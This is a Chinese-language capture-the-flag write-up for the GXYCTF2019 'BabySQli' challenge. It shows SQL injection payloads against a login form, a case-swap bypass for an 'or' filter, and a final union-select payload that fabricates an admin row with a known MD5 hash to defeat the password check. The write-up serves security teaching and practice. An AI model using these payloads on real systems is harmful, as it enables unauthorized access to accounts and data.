[GXYCTF2019]BabySQli
[GXYCTF2019]BabySQli
SQL注入题目:
首页面输入payload:
1 | 11' |
报错:
输入有注入点
利用burp抓包测试:
尝试注入:
payload:
1 | 'or 1=1%23 |
错误用户,试着用admin权限,修改注入位置,检测到注入,说明有过滤
显示错误密码,
但是注意到响应包中有部分奇怪编码,类似base64
1 | MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5 |
1. base32与base64
先说说base32 和 base64 的区别,
base32 只有大写字母和数字数字组成,或者后面有三个等号。
base64 只有大写字母和数字,小写字母组成,后面一般是两个等号。
明显,那段文字是base32加密
解密后:
1 | c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw== |
继续base64解密:
1 | select * from user where username = '$name' |
2. 判断字段个数
1 | or被过滤了,尝试大写绕过 |
3. 构造虚拟数据
这里有3个字段,其实之前做的很多SQL注入的题目,经常可以看到id,username,password这样的字段,可以在这里猜测也是这样的字段
构建猜测payload:
1 | 'union select 1,'admin',3%23 |
从结果显示的判断user在第二字段。
接下里就是要绕过密码的md5验证,需要把我们输入的值和数据库里面存放的用户密码的md5值进行比较,那要怎么绕过呢?可以用联合查询语句用来生成虚拟的表数据(通常情况下数据库中的密码都是经过md5加密后的)
3.1 构建虚拟数据原理
联合构建虚拟数据的原理就是原本没有某个用户的数据,但是在union联合查询这个不存在的数据,就会构建这个用户的数据信息,而这题正好是不知道admin的密码,所以就可以联合查询从而构建一个admin的数据,这样构建的虚拟admin的密码就是合法的(其实像这种情况,有可能有些情况下数据库下根本就没有设置密码,而我们正好构建一个虚拟合法密码数据)
3.2 测试虚拟数据
1 | 先构建一个用户haoye的密码123456经过md5加密后:e10adc3949ba59abbe56e057f20f883e |
很明显,多了一个账户haoye,同时拥有密码
3.3构建payload
payload:
1 | name=1'union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'%23&pw=123456 |